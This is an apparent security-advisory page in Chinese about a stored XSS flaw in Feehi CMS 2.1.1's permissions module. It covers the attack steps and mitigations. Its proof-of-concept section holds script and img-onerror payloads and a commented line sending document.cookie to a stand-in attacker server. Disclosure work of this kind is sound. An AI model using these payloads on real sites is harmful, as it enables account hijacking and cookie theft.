IPBUF安全漏洞报告
English
CVE-2026-31354 CVSS 5.4 中危

CVE-2026-31354: Feehi CMS 存储型XSS漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-31354
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Feehi CMS

相关标签

XSS存储型XSSFeehi CMSWeb安全权限模块

漏洞概述

Feehi CMS v2.1.1版本中的权限模块存在严重的存储型跨站脚本(XSS)漏洞。经过身份认证的攻击者可以通过“Group”、“Category”或“Description”参数注入恶意脚本代码,这些代码会被存储在服务器端。当其他用户查看相关页面时,恶意脚本将在其浏览器中执行,可能导致账户劫持或敏感信息泄露。

技术细节

该漏洞源于Feehi CMS v2.1.1在权限管理模块中对用户输入缺乏有效的安全校验机制。具体而言,应用程序在处理“Group”(组名)、“Category”(分类)和“Description”(描述)字段时,直接将未经HTML实体编码的用户数据存储于数据库中。由于漏洞利用需要低权限用户身份(PR:L),攻击者首先需登录系统。随后,通过构造特定的恶意Payload(如JavaScript代码)并提交至受影响接口,系统将恶意内容持久化。当具备管理权限的用户访问该权限列表页面时,嵌入的脚本将在浏览器上下文中触发执行。鉴于CVSS向量为S:C,攻击者可能利用此漏洞突破同源策略限制,进而窃取管理员Session ID、执行未授权操作或进行内网探测,造成严重的完整性破坏。

攻击链分析

STEP 1
1. 身份认证
攻击者使用低权限账户登录Feehi CMS系统。
STEP 2
2. 访问漏洞模块
导航至权限管理模块,找到包含Group、Category或Description参数的输入表单。
STEP 3
3. 注入Payload
在上述参数中输入精心构造的JavaScript恶意代码并提交。
STEP 4
4. 恶意代码存储
系统未对输入进行有效过滤,将恶意代码存储在数据库中。
STEP 5
5. 触发漏洞
当管理员或其他用户访问受影响的权限列表页面时,浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for Stored XSS in Feehi CMS v2.1.1 --> <!-- Target: Permissions Module --> <!-- Payload injection via Description parameter --> <script> // Simulating a stored XSS payload that executes when an admin views the permissions page alert('XSS Vulnerability CVE-2026-31354 Confirmed'); // Example: Stealing cookies // fetch('http://attacker-server/log?c=' + document.cookie); </script> <!-- Alternative vector using img tag if script tags are filtered --> <img src=x onerror=alert('XSS')>

影响范围

Feehi CMS 2.1.1

防御指南

临时缓解措施
在未升级补丁前,建议管理员严格限制对权限管理模块的访问权限,仅允许可信IP访问。同时,部署Web应用防火墙(WAF)规则,拦截包含常见XSS攻击特征(如<script>标签、javascript:伪协议等)的HTTP请求,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表